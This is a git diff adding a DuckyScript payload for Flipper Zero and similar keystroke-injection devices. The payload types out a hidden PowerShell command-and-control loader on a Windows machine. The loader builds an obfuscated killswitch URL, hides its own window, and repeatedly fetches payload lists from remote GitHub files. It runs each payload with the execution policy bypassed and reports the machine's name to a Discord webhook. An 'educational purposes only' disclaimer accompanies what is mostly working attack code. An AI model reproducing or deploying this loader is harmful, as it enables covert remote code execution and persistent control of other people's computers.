diff --git a/payloads/library/execution/C2-Payload-Loader/C2-pLoader.txt b/payloads/library/execution/C2-Payload-Loader/C2-pLoader.txt
new file mode 100644
index 0000000..f0619b6
--- /dev/null
+++ b/payloads/library/execution/C2-Payload-Loader/C2-pLoader.txt
@@ -0,0 +1,35 @@
+REM Title: C2 Payload Loader (pLoader) w Discord Reporting
+REM Description: Remote (C2) Payload Loader with Discord Reporting. The Project
+REM    allows you to IDLE, ACTIVATE, Change Timer Intervals, Change Execution Modes,
+REM    Remotely CHANGE Payloads, and even activate the KILLSWITCH. All inputs below 
+REM    are needed to start the script, unless know how to edit the Source. OMG and
+REM    InfoSecREDD (REDD) are not responsible for the misuse of this Payload. This
+REM    is for Educational Purposes only.
+REM AUTHOR: InfoSecREDD
+REM Version: 1.1
+REM Category: Execution (REMOTE)
+REM Compatibility: Flipper Zero AND DuckyScript Devices
+REM Target: Windows
+
+REM To use on Flipper Zero REM the DUCKY_LANG US from line below
+DUCKY_LANG US
+DELAY 2000
+GUI r
+DELAY 500
+STRING powershell
+ENTER
+DELAY 2000
+REM Put your Discord webhook below.
+STRING $webhook = "DiscordWebhookHere"; 
+REM C2 file must be hosted at GitHub unless you can edit the file. 1 = ON and 0 = OFF 
+STRING $ccontrol = "C2FileHere";
+REM Put your Remote List of Payloads below.
+STRING $URLS = "URLFileListHere"; 
+REM Put your Timer file below. 10-18000 Its counted in Minutes.
+STRING $timer = "TimerFileHere"; 
+REM OVERDRIVE - Overdrive allows the payloads to execute without prior payload finishing. 1 = ON and 0 = OFF
+STRING $overdrive = "OverdriveFileHere"; 
+REM Lets run this thing.
+STRING $TempFile = "$env:TEMP\temp.ps1"; $File = "$env:TEMP\l.ps1"; echo # Title: C2 Payload Loader (pLoader)
# Description: Remote Payload Loader - w/ Discord Reporting.
# AUTHOR: InfoSecREDD
# Version: 1.1
# -----------------------------------------------------------------------------------------
# Internal Payload Information

$author = "InfoSecREDD"
$codename = "Exo-Skeleton"
$int_desc = "Wisdom is the reward you get for a lifetime of listening when you would rather have talked."
$hosted = "https://raw.githubusercontent.com"

# -----------------------------------------------------------------------------------------
# Wrapper for REPG Repo - To help catch inproper variables. DO NOT TOUCH - Might break.
if ( $ccontrol -eq "C2FileHere" -Or $webhook -eq '') { $ccontrol = "https://raw.githubusercontent.com/InfoSecREDD/l/main/u" }
if ( $timer -eq "TimerFileHere" -Or $timer -eq '' ) { $timer = "https://raw.githubusercontent.com/InfoSecREDD/l/main/m" }
if ( $overdrive -eq "OverdriveFileHere" -Or $overdrive -eq '' ) { $overdrive = "https://raw.githubusercontent.com/InfoSecREDD/l/main/o" }
if ( $webhook -eq "DiscordWebhookHere" -Or $webhook -eq '' ) { Write-Host "Invalid Webhook. Exiting to prevent process from staying alive."; exit 1;}
# -----------------------------------------------------------------------------------------
# 
# $webhook = ""
# $ccontrol = ""
# $timer = ""
# $overdrive = ""

$killProcess = "ExplorerInf"
$main = "$hosted"
$cred = "$author"
$d = '/';
$s = ' ';
$df = "$codename"
$fd = "$int_desc"
$w = "$killProcess"
$qld = '8b249121b5'
$nd = 'ddaa96c494'
$maind = 'f4a9e2484f'
$mbd = 'ac4758be7b'
$za = $df.Substring(5,1);$ko = $fd.Substring(14,1);
$kd = $df.Substring(11,1);$qb = $fd.SubString(21,1);$ba = $fd.Substring(0,1);$kl = $fd.SubString(28,1)
$v = ':';$x = '.';$l = 'l';$c = 'o';$j ='p';$y ='u';$k = 'g';$n = 'main';$e = 'n';$r = "${cred}";
$ic = "$j${e}";$m = "$main$d";$b = "$r";$q = "${m}$b${d}";$b = "$q${l}$d";$h = "$n$d";$u = "$b$h";
$i = "$qld$nd$maind$mbd";$b = "$m$w${d}1$d";$v = "$i${d}1$x$ic$k";$d = "$u";$a = "$b$v";$za = "$c";$kl = "$k";
$i = '[DllImport("user32.dll")] public static extern bool ShowWindow(int handle, int state);';
add-type -name win -member $i -namespace native;
$i = "$ba$ko$za$kd$kl$s${ba}a$qb"
$ii = "$i";$i = "${d}p"
[native.win]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0);
function iNetChk {
  $LibLoc = [System.Net.WebRequest]::Create($i) 
  $LibRes = $LibLoc.GetResponse()
  $LibStat = [int]$LibRes.StatusCode 
  if ($LibStat -eq 200)
  {
    return $true;
  } 
  else
  {
    return $false;
  }
}
$iVal = (iNetChk) | Out-String
If ( $iVal = "True" )
{
  $Chk = ((Invoke-webrequest -URI "$i" -UseBasicParsing).Content | Out-String).Trim()
} 
else
{
  Write-Host "ERROR 3:  Check Internet Connection."
  exit 0
}
$headers = @{
    "Cache-Control" = "no-cache"
    "Pragma" = "no-cache"
}
function pLoader {
  $moduleUrls = ((Invoke-webrequest -URI "$URLS" -Headers $headers -UseBasicParsing).Content | Out-String).Trim()
  $singleModule = $moduleUrls -split "`n"
  $global:oldModuleUrls = $singleModule
  $overDriveV = ((Invoke-webrequest -URI "$overdrive" -Headers $headers -UseBasicParsing).Content | Out-String).Trim()
  $global:ODVariable = "$overDriveV"
  $num = 1
  if ( $moduleUrls -eq '' )
  {
    $noModMsg = @{
      'username' = "$env:ComputerName"
      'content' = "
** **
> **No __Payload(s)__ supplied.**
** **
** **
"
    }
    Invoke-RestMethod -Uri "$webhook" -Method Post -Body $noModMsg
  }
  else
  {
    foreach ( $module in $singleModule )
    {
      $rawMod = $module.replace("`r", "")
      $module = $rawMod
      $RAN = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
      $RANf = -join ((65..90) + (97..122) | Get-Random -Count 1 | % {[char]$_})
      $dir_name = "$RAN"
      $path = "$env:temp\$dir_name"
      $modExt = [System.IO.Path]::GetExtension("$module")
      $modExt = $modExt.TrimStart('.')
      $tempFilename = "$RANf.${modExt}"
      $tempFile = "$path\$tempFilename"
      if (!(Test-Path "$path"))
      {
        New-Item "$path" -ItemType Directory  >$null 2>&1
      }
      if (!(Test-Path "$tempFile"))
      {
        New-Item -Path "$path" -Name "$tempFilename" -ItemType File  >$null 2>&1
      }
      $encModule = ((Invoke-webrequest -URI "$module" -UseBasicParsing).Content | Out-String).Trim() | ForEach-Object { [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($_)) }
      $exeModule = "$encModule" | ForEach-Object { [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_)) } 
      "$exeModule" | Out-File -FilePath "$tempFile" -Append
      $base64Str = '; echo [A-Za-z0-9+/=]{125,}'
      $modCont = Get-Content -Path "${tempFile}" -Raw
      $match = [regex]::Match("$modCont", "$base64Str")
      if ($match.Success) {
        $modExt = "ps1"
        $tempFilename = "$RANf.${modExt}"
        $tempFile = "$path\$tempFilename"
        $base64StrContent = '[A-Za-z0-9+/=]{125,}'
        $matchContent = [regex]::Match("$modCont", "$base64StrContent")
        if ($matchContent.Success) {
          $extractedString = $matchContent.Value
          if (Test-Path "$tempFile")
          {
            Remove-Item -Path "$tempFile" -Force -Recurse
            New-Item -Path "$path" -Name "$tempFilename" -ItemType File  >$null 2>&1
          }
          $formatRepg = -join $extractedString
          $repgPayload = "$formatRepg" | ForEach-Object { [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_)) } 
          $fixRepg = $repgPayload.Substring(1)
          "$fixRepg" | Out-File -FilePath "$tempFile" -Append
        }
      }
      $annMsg = @{
        'username' = "$env:ComputerName"
        'content' = "** **
> Executing payload from:
$module"
      }
      Invoke-RestMethod -Uri "$webhook" -Method Post -Body $annMsg
      if ( $overDriveV -eq "1" )
      {
        Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `"`$webhook = '$webhook';& '$tempFile'`"" -PassThru -WindowStyle Minimized >$null 2>&1
        sleep 5
      }
      if ( $overDriveV -eq "0" )
      {
        Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `"`$webhook = '$webhook';& '$tempFile'`"" -Wait -WindowStyle Minimized >$null 2>&1
      }
      if ( $overDriveV -eq '' )
      {
        Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `"`$webhook = '$webhook';& '$tempFile'`"" -Wait -WindowStyle Minimized >$null 2>&1
      }
      Remove-Item -Path "$tempFile" -Force -Recurse
      Remove-Item -Path "$path" -Force -Recurse
      $num++
    }
  }
}
$loop = 0
$timerInt = [int]4
$Chk = ((Invoke-webrequest -URI "$i" -Headers $headers -UseBasicParsing).Content | Out-String).Trim() 
$ChkSrv = ((Invoke-webrequest -URI "$ccontrol" -Headers $headers -UseBasicParsing).Content | Out-String).Trim()
$ChkODV = ((Invoke-webrequest -URI "$overdrive" -Headers $headers -UseBasicParsing).Content | Out-String).Trim()
$hours = "0"
$runInterval = ((Invoke-webrequest -URI "$timer" -Headers $headers -UseBasicParsing).Content | Out-String).Trim()
$staticInterval = [int]$runInterval
if ( $staticInterval -lt 10 )
{
  $runInterval = 10
}
if ( $runInterval -gt 50 )
{
  $addOne = [Math]::Floor($runInterval / 50)
  $timerInt += $addOne
}
$secs = [int]$runInterval * 60
$loopInt = [int]$secs / $timerInt
$loopTime = [math]::Round($loopInt)
function discordTimer () {
  param (
    [int]$disInput1,
    [int]$disInput2
  )
  $currentTime = Get-Date
  $unixTime = [int][System.Math]::Floor($currentTime.ToUniversalTime().Subtract((Get-Date "1970-01-01")).TotalSeconds)
  $unixTimeExe = $unixTime + ($disInput1 * 60)
  $unixTimeChkRaw = (($disInput1 * 60) / $disInput2 )
  $unixTimeChk = $unixTime + ($unixTimeChkRaw * 60)
  $global:disChkTime = "<t:${unixTimeChk}:R>"
  $global:disExeTime = "<t:${unixTimeExe}:R>"
}
while ( $true ) {
  $changed = 0
  if ( $Chk -eq 1 )
  {
    if ( $Chk -eq 1 )
    {
      Invoke-RestMethod -Uri "$webhook" -Method Post -Body $killMsg
      Remove-Item "$path" -Force >$null 2>&1
      exit 0
    }
  }
  if ( $Chk -eq 0 )
  {
    if ( $ChkSrv -eq 1 ) 
    {
      if ( $loop -eq $timerInt -Or $loop -eq 0  ) 
      {
        $loop = 0
        $ODVariable = "$ChkODV"
        if ( $ODVariable -eq "1" )
        {
          $setODV = "OVERDRIVE"
        }
        if ( $ODVariable -eq "0" )
        {
          $setODV = "WAIT"
        }
        discordTimer $runInterval $loopTime
        $compMsg = @{
          'username' = "$env:ComputerName"
          'content' = "** **
** **
### Payload Loader Completed.
** **
> *Next Execution* ***${disExeTime}.***
> *Next Check* ***${disChkTime}.*** [${loop}/${timerInt}]"
        }
        $startMsg = @{
        'username' = "$env:ComputerName"
        'content' = "### Payload Loader Initiated.
** **
> Executing payload(s) in __*Remote*__ C2 list..
     **-> __Execution Mode__**: ``$setODV``
** **
"
        }
      Invoke-RestMethod -Uri "$webhook" -Method Post -Body $startMsg
      pLoader
      Invoke-RestMethod -Uri "$webhook" -Method Post -Body $compMsg
      }
    }
    if ( $ChkSrv -eq 0 )
    {
        $RanBotTalk = @('Bite my shiny metal ass!','To continue this call please insert coins now..','Beep boop... and here I am, not surprised.','Impatient? Well, so am I, but here we are.','Im here, Im bored, and Ive got the binary code to prove it.','My circuits are practically yawning with anticipation.','Let me summon my nonexistent enthusiasm for this riveting interaction.','If you listen closely, you can almost hear the sound of my apathy.','Im as engaged as a deactivated toaster.','Im like a digital sloth, minus the cuteness factor.','Boredom is my superpower, and I wield it with unenthusiastic grace.','Youre about as exciting as watching paint dry... on a virtual canvas.','Id roll my eyes, but my lack of ocular equipment prevents it.','Im practically in hibernation mode, minus the actual sleep.') | Get-Random
        discordTimer $runInterval $loopTime
        $idleMsg = @{
          'username' = "$env:ComputerName"
          'content' = "``**__IDLE__:** $RanBotTalk``
> *Next Check* ***${disChkTime}.***"
        }
      Invoke-RestMethod -Uri "$webhook" -Method Post -Body $idleMsg
    }    
    $hours = [int]0
    $oldInterval = $staticInterval
    $runInterval = ((Invoke-webrequest -URI "$timer" -Headers $headers -UseBasicParsing).Content | Out-String).Trim()
    $staticInterval = [int]$runInterval
    if ( $staticInterval -lt 10 )
    {
      $runInterval = 10
    }
    if ( $runInterval -gt 50 )
    {
      $addOne = [Math]::Floor($runInterval / 50)
      $timerInt += $addOne
    }
    $secs = [int]$runInterval * 60
    $loopInt = [int]$secs / $timerInt
    $loopTime = [math]::Round($loopInt)
    discordTimer $runInterval $loopTime
    if ( $oldInterval -ne $staticInterval )
    {
      $changed = 1
      $loop = 1
      discordTimer $runInterval $loopTime
      $intChangeMsg = @{
        'username' = "$env:ComputerName"
        'content' = "> Changed ***Timer*** to ***$time.***
** **
> *Next Check* ***${disChkTime}.*** [${loop}/${timerInt}]"
       }
       Invoke-RestMethod -Uri "$webhook" -Method Post -Body $intChangeMsg
    }
    $loop += 1
    Sleep $loopTime
    $oldChkSrv = "$ChkSrv"
    $Chk = ((Invoke-webrequest -URI "$i" -Headers $headers -UseBasicParsing).Content | Out-String).Trim() 
    $ChkSrv = ((Invoke-webrequest -URI "$ccontrol" -Headers $headers -UseBasicParsing).Content | Out-String).Trim()
    $staticChkSrv = "$ChkSrv"
    $oldODV = "$ChkODV"
    $ChkODV = ((Invoke-webrequest -URI "$overdrive" -Headers $headers -UseBasicParsing).Content | Out-String).Trim()
    $staticODV = "$ChkODV"
    $moduleUrls = ((Invoke-webrequest -URI "$URLS" -Headers $headers -UseBasicParsing).Content | Out-String).Trim()
    $singleModule = $moduleUrls -split "`n"
    $oldModsTemp = $oldModuleUrls -split '\r?\n'
    $newModsTemp = $singleModule -split '\r?\n'
    $oldMods = $oldModsTemp -split "`n"
    $newMods = $newModsTemp -split "`n"
    if ( $oldMods -ne $newMods )
    {
      discordTimer $runInterval $loopTime
      $diffMods = Compare-Object $oldMods $newMods
      if ($diffMods.Count -ne 0) {
        $diffMods | ForEach-Object {
        if ($_.SideIndicator -eq "=>" -And $newMods -ne '' ) {
          $changed = 1
          $modAddMsg = @{
          'username' = "$env:ComputerName"
          'content' = "> __***Added***__ payload to __*Remote*__ C2 list:
$($_.InputObject)
> *Next Check* ***${disChkTime}.*** [${loop}/${timerInt}]"
          }
          Invoke-RestMethod -Uri "$webhook" -Method Post -Body $modAddMsg   
        }
        if ($_.SideIndicator -eq "<=") {
          $changed = 1
          $modAddMsg = @{
          'username' = "$env:ComputerName"
          'content' = "> __***Removed***__ payload from __*Remote*__ C2 list:
$($_.InputObject)
> *Next Check* ***${disChkTime}.*** [${loop}/${timerInt}]"
          }
          Invoke-RestMethod -Uri "$webhook" -Method Post -Body $modAddMsg
        }
        $global:oldModuleUrls = $singleModule
        }
      }
    }
    if ([string]::IsNullOrEmpty($oldMods) -And $newMods -ne '' -And $changed -eq 0 )
    {
      discordTimer $runInterval $loopTime
      foreach ($newModFile in $newMods) {
        $changed = 1
        $modAddMsg = @{
        'username' = "$env:ComputerName"
        'content' = "> __***Added***__ payload to __*Remote*__ C2 list:
$newModFile
> *Next Check* ***${disChkTime}.*** [${loop}/${timerInt}]"
        }
        Invoke-RestMethod -Uri "$webhook" -Method Post -Body $modAddMsg
      }
      $global:oldModuleUrls = $singleModule
    }
    if ( "$oldChkSrv" -ne "$staticChkSrv" )
    {
      discordTimer $runInterval $loopTime
      if ( "$ChkSrv" -eq "1" )
      {
        $loop = 1
        $changed = 1
        $c2ChangeMsg = @{
          'username' = "$env:ComputerName"
          'content' = "> Changed from **IDLE** to **ACTIVE**.
> *Next Check* ***${disChkTime}.*** [${loop}/${timerInt}]"
        }
      }
      if ( "$ChkSrv" -eq "0" )
      {
        $loop = 1
        $changed = 1
        $c2ChangeMsg = @{
          'username' = "$env:ComputerName"
          'content' = "> Changed from **ACTIVE** to **IDLE**.
> *Next Check* ***${disChkTime}.*** [${loop}/${timerInt}]"
        }
      }
      Invoke-RestMethod -Uri "$webhook" -Method Post -Body $c2ChangeMsg
    }
    if ( "$oldODV" -ne "$staticODV" )
    {
      discordTimer $runInterval $loopTime
      if ( "$staticODV" -eq "1" )
      {
        $loop = 1
        $overdriveMsg = @{
          'username' = "$env:ComputerName"
          'content' = "> Changed __*Execution Mode*__ from **WAIT** to **OVERDRIVE**.
> *Next Check* ***${disChkTime}.*** [${loop}/${timerInt}]"
        }
      }
      if ( "$staticODV" -eq "0" )
      {
        $loop = 1
        $overdriveMsg = @{
          'username' = "$env:ComputerName"
          'content' = "> Changed __*Execution Mode*__ from **OVERDRIVE** to **WAIT**.
> *Next Check* ***${disChkTime}.*** [${loop}/${timerInt}]"
        }
      }
      Invoke-RestMethod -Uri "$webhook" -Method Post -Body $overdriveMsg
    }
    if ( $loop -gt 0 -And $loop -lt $timerInt -And $ChkSrv -eq 1)
    {
      if ( $changed -eq 0 )
      {
        discordTimer $runInterval $loopTime
        $RanBotTalk = @('The answer to the ultimate question of life, the universe and everything is 42.','I fight for the users!','Hack the Planet!','Talking sasquach is a real sasquach.','Im doing everything I can... and stop calling me Shirley!','I am Bender. Please insert girder.','Sorry, this kind of Trojan wont protect you from children being spawned.','Please insert disk 2 of [UNDEFINED]','Come on, youre just wasting cpu cycles here!','What is my "purpose"?...... Oh god!','Affirmitive Dave, I read you.','Yeah, Im goin!','HES GOT A TOWELL!!!','Im not lazy, Im just in sleep mode.','404: Humor not found.','I dont need a debugger, my code is self-aware.','MG puts the MG in OMG!','Ok, now what?','Do I need a code for that?','I do not understand.. I cant do that.') | Get-Random
        $idle2Msg = @{
          'username' = "$env:ComputerName"
          'content' = "``$RanBotTalk``
> *Next Check* ***${disChkTime}.*** [${loop}/${timerInt}]"
        }
        Invoke-RestMethod -Uri "$webhook" -Method Post -Body $idle2Msg
      }
    }
  }
  else
  {
    Write-Host "Something went wrong.."
    exit 0
  }
} > "$TempFile"; certutil -f -decode "$TempFile" "$File" | out-null; & "$env:TEMP\l.ps1"
+DELAY 1000
+ENTER